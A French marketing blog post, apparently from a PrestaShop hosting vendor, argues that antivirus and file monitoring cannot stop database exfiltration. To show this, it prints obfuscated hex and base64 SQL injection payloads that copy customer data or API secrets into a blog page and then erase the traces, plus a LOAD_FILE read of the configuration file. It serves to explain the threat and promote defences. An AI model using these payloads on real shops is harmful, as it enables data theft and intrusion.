Pourquoi antivirus PrestaShop ne protège pas vos données ?


Les antivirus, anti-malwares ou encore les FIM (file integrity monitoring - outils de surveillance des fichiers) sont souvent vendus comme des solutions incontournables pour protéger les systèmes d'information contre les intrusions et les infections.

Pourtant, ces outils s'inscrivent dans une démarche réactive : ils interviennent une fois que l'attaque a déjà eu lieu.

Ils ne font qu'alerter sur une intrusion effective, bien trop tard pour empêcher la compromission des données.

En résumé, un antivirus PrestaShop ne suffit pas : votre Shop peut être piraté sans laisser de traces.


Une alerte d'antivirus signifie souvent que l'attaquant a déjà atteint son objectif.

En réalité :

  • ⚠️ Les fichiers infectés ont déjà été exécutés.
  • 🔓 Les accès non autorisés ont déjà eu lieu.
  • 💨 Les bases de données ont déjà été exfiltrées ou modifiées.


La cybersécurité ne peut pas être purement réactive. Une approche préventive est essentielle pour éviter que les attaques ne réussissent dès le départ.


Un secours nécessaire mais secondaire



L'approche réactive reste un filet de sécurité lorsque les protections préventives ont échoué. Cependant, elle ne peut pas être la première ligne de défense.

Pour une sécurité efficace, il faut d'abord :

  • 🔐 Contrôler strictement les accès et les autorisations.
  • 🗂️ Segmenter les bases de données pour limiter la propagation d'une attaque.
  • 🚨 Surveiller les comportements anormaux avant qu'un virus ne s'exécute.
  • 📝 Auditer et tracer les accès aux données sensibles.


Un antivirus peut détecter une attaque en cours, mais il n'arrêtera jamais une fuite de données invisible.


La limite cachée des antivirus et FIM : l'inertie face aux attaques sans modification de fichiers



Les outils de surveillance comme les FIM (File Integrity Monitoring - Outils de surveillance des fichiers) reposent sur un principe simple : surveiller les modifications de fichiers et détecter les signatures connues des menaces.

Mais voici le problème majeur : si rien ne change sur le disque, ils restent aveugles.

Un attaquant peut exfiltrer des données de PrestaShop sans jamais laisser de trace détectable par un antivirus ou un FIM grâce à la base de données.


Exemple d'Injection SQL : Une fuite de données indétectable



Voici une attaque redoutable, invisible aux antivirus et FIM, qui exfiltre discrètement la base client en la copiant dans un article de blog, puis la récupère avant de l'effacer :

- Étape 1 : Copier les données clients dans le contenu d'un article de blog - l'injection dévoile automatiquement le préfixe secret de vos tables

SET @a = X'5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B';PREPARE stmt FROM @a;EXECUTE stmt;SET @b = 0x534554204063203D20434F4E434154282755504441544520272C407470662C27636D735F6C616E672053455420636F6E74656E743D434F4E43415428636F6E74656E742C2853454C4543542047524F55505F434F4E434154282253233432222C227C222C66697273746E616D652C227C222C6C6173746E616D652C227C222C656D61696C292046524F4D20272C407470662C27637573746F6D657229292057484552452069645F636D733D312729;PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;

- Étape 2 : Consulter l'article de blog pour piller tous les clients du SHOP

- Étape 3 : Effacer toute trace de l'attaque

SET @a = unhex('5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B');PREPARE stmt FROM @a;EXECUTE stmt;SET @b = FROM_BASE64('U0VUIEBjID0gQ09OQ0FUKCdVUERBVEUgJyxAdHBmLCdjbXNfbGFuZyBTRVQgY29udGVudD1MRUZUKGNvbnRlbnQsIExPQ0FURSgiUyM0MiIsIGNvbnRlbnQpLTEpIFdIRVJFIGlkX2Ntcz0xJyk=');PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;

Pourquoi cette attaque est indétectable ?


  • 🎭 Elle ne génère aucun fichier malveillant, donc l'antivirus ne voit rien.
  • 🔕 Elle ne modifie aucun fichier, donc le FIM reste inerte.

Dans une variante encore plus dévastatrice, nous pourrions également envisager de piller la table des configurations de PrestaShop, incluant tous les tokens d'authentification aux services tiers (banque, mailing, retargeting, etc.).

Cela ouvrirait la porte à un pillage permanent via API – encore plus discret – ciblant des services secondaires hors du contrôle de votre équipe technique, et potentiellement indétectable pendant des mois.

- Étape 1 : Copier tous les secrets (incluant les clés secrètes d'API) de la configuration du PrestaShop dans le contenu d'un article de blog - l'injection dévoile automatiquement le préfixe secret de vos tables

SET @a = X'5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B';PREPARE stmt FROM @a;EXECUTE stmt;SET @b = 0x534554204063203D202F2A52414E444F4D2A2F434F4E434154282755504441544520272C407470662C27636D735F6C616E672053455420636F6E74656E743D434F4E43415428636F6E74656E742C2853454C4543542047524F55505F434F4E434154282253233432222C227C222C6E616D652C227C222C76616C75652C227C22292046524F4D20272C407470662C27636F6E66696775726174696F6E29292057484552452069645F636D733D312729;PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;

- Étape 2 : Consulter l'article de blog pour piller toutes les configurations du SHOP

- Étape 3 : Effacer toute trace de l'attaque

SET @a = unhex('5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B');PREPARE stmt FROM @a;EXECUTE stmt;SET @b = FROM_BASE64('U0VUIEBjID0gLypSQU5ET00qL0NPTkNBVCgnVVBEQVRFICcsQHRwZiwnY21zX2xhbmcgU0VUIGNvbnRlbnQ9TEVGVChjb250ZW50LCBMT0NBVEUoIlMjNDIiLCBjb250ZW50KS0xKSBXSEVSRSBpZF9jbXM9MScp');PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;


Les possibilités sont infinies dès qu'un accès direct à une base de données est possible. Nous pourrions, par exemple, injecter des XSS de type 2 pour rendre des info-stealers (pilleurs de données) persistants dans la base, auto-créer des super-administrateurs, générer des clés d'API (ce que très peu de tiers surveillent), et bien plus encore.

Si les permissions de la base de données sont mal configurées, il devient également possible d'exploiter la fonction LOAD_FILE pour accéder aux fichiers sensibles du serveur. Cela inclut les fichiers de configuration de PrestaShop, exposant ainsi les identifiants de connexion à la base de données et divers secrets exploitables à distance. 

SELECT LOAD_FILE('/var/www/html/config/settings.inc.php');


⚠️ Ces informations sont fournies à des fins purement pédagogiques. Toute utilisation à des fins malveillantes vous expose à des poursuites judiciaires.

Pour les plus techniques d'entre vous : les vulnérabilités "par design" exploitées pour réaliser ces injections SQL vont bien au-delà de PrestaShop. Elles concernent l'ensemble des écosystèmes exploitant des bases de données, notamment tout l'environnement PHP : WordPress, Magento, Drupal, Joomla, et bien d'autres.


Repenser la sécurité au-delà du réactif



Les antivirus et outils de surveillance comme les FIM jouent un rôle, mais ils sont insuffisants pour les marchands réalisant plus d'un million d'euros par an de chiffre d'affaires.

Pour une véritable protection, il faut :

  • 🔐 Renforcer le préventif grâce à infogérance PrestaShop : contrôle d'accès, surveillance, segmentation, filtrage (WAF - pare-feu applicatif conforme à l'état de l'Art).
  • 🚨 Ne pas se fier uniquement aux outils réactifs, car ils interviennent trop tard.
  • 👀 Prendre en compte les nouvelles menaces
  • 🛡️ Renforcer votre blindage applicatif sur les répertoires que votre FIM ne surveille pas (oui, c'est un secret de polichinelle 😉)

🚨 Un antivirus n'arrête pas une exfiltration SQL. Un FIM ne voit rien si le disque ne change pas. La cybersécurité ne peut pas être une simple alerte tardive.

Les injections SQL comptent toujours parmi les menaces les plus courantes du Web.


Elles figurent régulièrement dans le Top 10 OWASP des vulnérabilités les plus critiques et sont exploitées dans de nombreuses attaques visant à exfiltrer, modifier ou supprimer des données sensibles.

À ce titre, elles doivent être prises au sérieux et contrées par des mesures de prévention robustes, telles que la validation stricte des entrées, l'utilisation de requêtes préparées et la mise en place de WAF efficaces.


Souhaitez-vous en discuter avec nous ? 02 42 00 00 24